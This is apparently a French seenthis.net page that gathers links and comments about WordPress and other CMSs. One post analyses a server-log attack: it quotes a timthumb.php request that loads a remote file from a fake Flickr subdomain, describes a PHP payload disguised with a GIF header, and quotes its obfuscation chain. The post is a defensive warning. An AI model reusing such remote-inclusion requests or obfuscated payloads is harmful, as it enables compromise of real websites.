Drupal/WordPress, les nouveaux frameworks et leurs failles | parlent même pas de #SPIP, ces gros mauvais !
http://www.unixgarden.com/index.php/misc-hs/drupalwordpress-les-nouveaux-frameworks-et-leurs-failles
51 millions de sites déployés sur WordPress, 15 000 plugins associés, 540 vulnérabilités publiées entre 2006 et 2010 pour #WordPress et #Drupal ; comme dirait Bernard, « Bienvenue sur le territoire des #CMS, voyage au cœur d’une nébuleuse ».
y a plus personne qui parle de SPIP, ces temps-ci, c’est honteux ! (en même temps c’est peut-être parce que SPIP n’a pas de faille na :D)
une bonne #idée_à_piker, loger les trucs qui se passent :
Drupal dispose de fonctions fournies pour présenter nativement les informations relatives à différents événements, gérés par le module Watchdog, entre autres :
– les authentifications (réussies ou non) ;
– les requêtes provoquant des erreurs (403, 500, etc.) ;
– les actions particulières (activation/désactivation d’un plugin, changement du contenu, etc.).
spip . blog
http://blog.spip.net/blowin-in-the-wind.html#co
et revenir à une appréhension simple du spip que nous voulons inventer : un outil de mise en place rapide et simplissime d’un site moderne et sûr dans un internet collaboratif, non marchand, non autoritaire.
Comment Alcatel-Lucent augmente les débits d’Internet - 2
http://www.oezratty.net/wordpress/2013/comment-alcatel-lucent-augmente-debits-internet-2
Après un interlude de quelques semaines, reprenons le fil de cette petit visite aux limites du possible dans la fibre optique que j’avais démarrée ici. Nous avions fait un tour d’horizon des potentialités techniques des communications à ultra-haut débit en fibre optique et découvert comment on franchissait les barrières de fréquence d …
Source : Opinions Libres, le blog d’Olivier Ezratty
#Blog #Olivier_Ezratty #Stratégie #Innovation #Startups #France #Medias_Numériques #Home_Theater #Canon #WordPress #Microsoft #Google #Apple #Télévision_numérique #Photo_numérique #Financement #Communication #Marketing #Entrepreneuriat #Management
Comment Alcatel-Lucent augmente les débits d’Internet - 1
http://www.oezratty.net/wordpress/2013/comment-alcatel-lucent-augmente-debits-internet
Entre février et mars 2013, j’ai eu l’occasion de visiter deux laboratoires de recherche Bell Labs d’Alcatel-Lucent en France : celui de Villarceaux et celui de Marcoussis. Ils m’ont …
Source : Opinions Libres, le blog d’Olivier Ezratty
#Blog #Olivier_Ezratty #Stratégie #Innovation #Startups #France #Medias_Numériques #Home_Theater #Canon #WordPress #Microsoft #Google #Apple #Télévision_numérique #Photo_numérique #Financement #Communication #Marketing #Entrepreneuriat #Management
Open Content & Design Comes to #jQuery
http://blog.jquery.com/2013/01/23/a-site-to-behold-open-content-design-comes-to-jquery-2
The link between #WordPress and the #static content repositories is a grunt build and deployment process that processes the content files and synchronizes them into a WordPress installation using XML-RPC. That means we don’t ever use the WordPress Administration pages; all authoring and editing just happens in your favorite text editor, then grunt does the hard work.
Visual Composer for #WordPress will save you tons of time working on the site content. Now you’ll be able to create complex layouts within minutes!
Ghost - John O’Nolan
Un râlage et une proposition pour wordpress qui part du constat suivant : wordpress n’est plus une machine à publier, c’est devenu un CMS.
De très bonnes idées, dans un contexte de site perso / blog.
Par contre, ce qui est assez fou, c’est que l’article n’est qu’une succession d’images...
Un constat applicable à SPIP ? Non, pour pleins de raisons ; mais oui, pour d’autres...
C’est toujours amusant de regarder les journaux de son serveur HTTP, on y découvre les dernières attaques à la mode. Voici par exemple un client qui réclame la ressource « //wp-content/themes/rend/scripts/timthumb.php ?src=http://flickr.com.alba-sport.net/spread.php » Il tente manifestement de profiter d’une bogue de #Wordpress (« /wp-content ») pour rediriger vers un URL qui ressemble à celui de #Flickr mais ne l’est pas (« flickr.com.alba-sport.net » est un sous-domaine de « alba-sport.net » et n’a rien à voir avec Flickr).
À cette adresse, on trouve un fichier rigolo, qui commence par l’en-tête #GIF « GIF89a » (ce qui trompe les outils de « content sniffing » comme la commande Unix file ou comme Internet Explorer) mais dont le contenu est en #PHP et semble indiquer une attaque par déni de service : « set_time_limit(0) ; ... $rhs = ’zZhOYp... ... eval(gzinflate(str_rot13(base64_decode($rhs)))) ; » Sans avoir testé, je suppose que cela lancera PHP dans un épuisement complet des ressources de la machine.
Donc, ne visitez pas le truc en question si vous n’êtes pas sûr de votre machine :
Et désolé pour la bêtise de #Seenthis_Bug qui massacre le nom indiqué en en faisant un URL. Faut lire le source pour voir le vrai nom.
Bonjour,
Pour ma part j’ai reçu une attaque comparable sur un blog que j’héberge. Le blog s’est fait partiellement défacé. L’attaquant a pris soin de ne pas toucher à la navigation classique mais de ne modifier que les pages affichées aux robots de moteur de recherche. Et ce en plaçant ce .htaccess :
Je ne me suis aperçu de l’entourloupe que plusieurs mois après la mise en place de la modification.
Le script installé était plus fourbe encore. Plutôt que de stocker localement les publicités à afficher (pour des produits pharmaceutiques, des rolex et consors), il faisait un GET vers un site distant et affichait le résultat.
J’ai dû aller jusqu’à la capture tshark pour retrouver le mode opératoire !
Emmanuel Thierry
Les raccourcis clavier de Wordpress - Tux-planet
http://www.tux-planet.fr/les-raccourcis-clavier-de-wordpress
Le saviez-vous ? L’éditeur d’article de WordPress possède plusieurs raccourcis clavier, qui permettent d’aller plus vite et d’être plus efficace lorsque vous écrivez un texte. Pour connaître la liste de ces raccourcis, il suffit de presser le bouton en forme de point d’interrogation, qui se trouve dans la barre d’édition.
Secrets of High-Traffic #WordPress Blogs | Smashing Magazine
http://wp.smashingmagazine.com/2012/09/12/secrets-high-traffic-wordpress-blogs
I spoke with the developers behind some of the biggest WordPress blogs on the planet and asked them to tell me their secrets.
Bones - The #HTML5 Wordpress Starter Theme
http://themble.com/bones
Bones is a #WordPress #Theme for Developers
Built around the HTML5 Boilerplate, Bones is a rock solid foundation to start any WordPress project. Keep what you need, remove what you don’t.
Blank & Bare #WordPress #HTML5 Frameworks | DesignWoop
http://designwoop.com/2012/01/wordpress-html5-frameworks
If your looking to give your WordPress theme a new design or simply looking to upgrade your code to more modern technologies such as HTML5/CSS3, you will these free WordPress HTML5 frameworks very handy. These HTML5 WordPress frameworks are stripped back bare and mostly include little or no styling which provides a perfect HTML5 framework for you to build your new WordPress site on.
Oui à moyen terme : il est très inachevé pour le moment.
J’envisage peut-être de construire un squelette complet sur cette base pour être au plus proche de l’original (sans les plier / déplier/ js qui ne me semblent pas apporter grand chose). J’aime le principe de déplacer toute la navigation transversale en pied de page pour donner toute sa place au contenu principal.
J’ai découvert le thème sur le site de Philippe Aigrain ►http://paigrain.debatpublic.net
C’est partagé, en l’état. http://zone.spip.org/trac/spip-zone/browser/_squelettes_/the-erudite?rev=65594
With 60 Million Websites, #WordPress Rules The Web. So Where’s The Money? - Forbes
http://www.forbes.com/sites/jjcolao/2012/09/05/the-internets-mother-tongue
Today WordPress powers one of every 6 websites on the Internet, nearly 60 million in all, with 100,000 more popping up each day. Those run through its cloud-hosted service, which lets anybody create a free website online, attract 330 million visitors who view 3.4 billion pages every month.
Automattic’s enterprise option, WordPress VIP, is now the default digital publishing tool for major media companies (including Forbes.com). For many of these organizations, it’s the promised land–a standard, easy-to-use, multimedia-friendly platform–after a decade of lurching through clunky, expensive, jerry-rigged content-management systems.
Along with independence, Automattic has an idiosyncratic workplace. As a legacy of its open-source roots its 120 employees are spread across 24 countries and five continents. Although most work alone at home, each team–usually made up of five or six people–has a generous budget to travel. “All of the money we save on office space, we blow on travel costs,” Mullenweg laughs. Groups have gathered in Hawaii, Mexico and New Zealand. Once a year everyone meets for a week at an accessible destination with a solid Internet connection. A distributed workforce means Automattic can hire talent from around the world–without having to offer the perks and pay of Google, Facebook and Apple.
#WordPress for iOS
http://ios.wordpress.org
WordPress has never been quite so mobile before. Designed for both iPhone/iPod Touch and the iPad, WordPress for iOS makes it easy to share photos, write posts, and edit your content while on the go.
#cms #tablette via @jluc
http://wpiphone.files.wordpress.com/2010/04/home-writing.jpg
Des microdatas et microformats pour ses articles avec WordPress SEO
http://neosting.net/wordpress/microdatas-microformats-articles-wordpress-seo.html
Entendons-nous tout de suite, je ne suis pas un expert, juste un amateur qui aime jouer un peu avec du code. De plus, cette astuce ne me semble pas forcément la solution magique pour obtenir un meilleur référencement, (y’a qu’à voir ce blog...) mais c’est une solution que je ...
#microdonnees #microformats #php #referencement #seo #wordpress
http://images.neosting.net/2012/08/small__5414633203-299x200.jpg
Using WordPress to Create a Micro-Site within an Existing Theme -
http://speckyboy.com/2012/08/07/using-wordpress-to-create-a-micro-site-within-an-existing-theme
#wordpress
@fil et @stephane J’aimerais réaliser un plugin (enfin pas moi, j’en ai pas vraiment les moyens) qui permettent de faire un partage automatisé de ses posts sur Wordpress. Je sais qu’il y a le bookmarklet, et comme je viens de le faire sur mon blog http://neosting.net la possibilité d’ajouter un simple #ajouter dans une url de @seenthis, mais ce serait encore mieux, si ça pouvait se faire automatiquement. Le but est donc d’utiliser l’API de Seenthis.
Pour cela, je voudrais utiliser les MetaKey (champs personnalisés) de #Wordpress dans le but d’y mettre simplement l’ID du post partagé sur Seenthis (un numéro). Avec cette metakey, c’est ensuite très simple d’aller la récupérer et d’afficher le lien où bon nous semble dans son thème. C’est déjà ce que je fais avec le mien de façon manuelle.
Je ne sais pas si cette idée vous paraît utile, mais ça pourrait permettre d’aider aussi #seenthis à se faire connaître davantage et à être plus facilement utilisé depuis une plate-forme externe.
Enfin, j’ai une dernière question : en parlant du partage via une URL, il suffit d’ajouter après seenthis.net #ajouter=[titre] & url_site=[url] & extrait=[excerpt] Mais est-il possible aussi d’en profiter pour ajouter les Tags ? J’ai essayé avec &tags=[tags] séparés d’une virgule, mais ça ne fonctionne pas.
Merci de votre aide, et du partage ;)
ça me semble intéressant en effet ; pour ce qui est de la question sur le partage, on pourrait sans doute rajouter texte=[....] ; il te suffirait alors de mettre tes tags dans le texte, précédé d’un signe #
Oui, c’est vraiment sympa ce partage de façon automatique pour entamer les discussions. Par contre, j’ai ajouté les tags dans l’URL en « trichant » en les mettant dans extrait= avec un # devant mais seenthis ne semble pas vouloir les convertir, même après coup, en les déplaçant hors de la zone de citation.
Ah, j’ai noté aussi que si dans l’extrait il y a des ’, ça coupe la suite.
Hybrid Core version 1.4
http://themehybrid.com/weblog/hybrid-core-version-1-4
Two Hybrid Core releases in just over a month? Yep, you read that right. With the help of a few Theme Hybrid members and some special alone time with my laptop, I managed to get this release ready faster than any other major Hybrid Core update ever.
Bloguer ou ne pas bloguer » L’écureuil et le caneton
http://blogoliviersc.org/?p=5551
Et, en plus : Wordpress fait chier avec ses publicités dans l’Admin…
Manage Your Database with Adminer | Linux.com
https://www.linux.com/learn/tutorials/566420-manage-your-database-with-adminer
If you’re looking for a simple way to manage your database effectively, you might want to have a look at Adminer. It’s simple to install, supports multiple databases, and has a number of features you don’t find in phpMyAdmin.
Merci, c’est super-rapide. Je n’ai pas encore pu beaucoup le tester, mais #Adminer a l’air de faire tout dont j’ai besoin en plus simple et rapide que MyPhpAdmin.
Son seul défaut c’est la double licence Apache/GNU qui risque de créer des conflits dans l’avenir. Les auteurs considèrent que c’est un avantage par rapport à MyPhpAdmin qui n’est distribué que sous GNU. Je comprends leur point de vue mais je ne le partage pas.
Perso j’ai du mal à saisir cette histoire de double licences...
Il me semble que le seul intérêt est de pouvoir embarquer le code dans un produit propriétaire, ou de faire un dérivé commercial du soft...
Une chose que PhpMyAdmin ne fait pas : importer des dumps présents sur le serveur.
The Best (and the Worst) Theme Options Screens Around
http://themeoptions.wordpress.com
In Open Source, Learn to Decide is a post by Andrew Nacin, a WordPress Core developer. Andrew writes about decisions versus options and the WordPress philosophy. Comments and pingbacks are worth reading/visiting too.
What’s Going On In The #WordPress Economy ? - Part 1 | Smashing WordPress
http://wp.smashingmagazine.com/2012/04/12/wordpress-economy-part-1
papier assez intéressant sur la mom-&-pop économie qui s’est construite autour d’un #logiciel_libre
Certes certes, mais c’est quoi la « mom-&-pop économie » ?
c’est l’économie familiale, vs celle des gros kapitalistes au cigare
cf. http://realbusiness.co.uk/charlie_mullins/the-mom-and-pop-firms-saving-the-economy
(l’expression charrie une bonne part d’idéologie)
Selon toi c’est une idéologie narquoise (genre « l’économie à la papa ») ou au contraire respectueuse (genre « l’économie traditionnelle qui a du bon ») ?
Il me semble que c’est à la fois une idée agro-populiste (le bon peuple qui travaille dans sa ferme et cultive son champ), anti-industriel/bancaire, tout en restant très individualiste (chacun son home business). Après chacun l’utilise comme il veut, c’est en tout cas une fibre américaine classique et efficace en politique
http://www.usa-decouverte.com/gfx/site/divers/grant_wood_2_410.jpg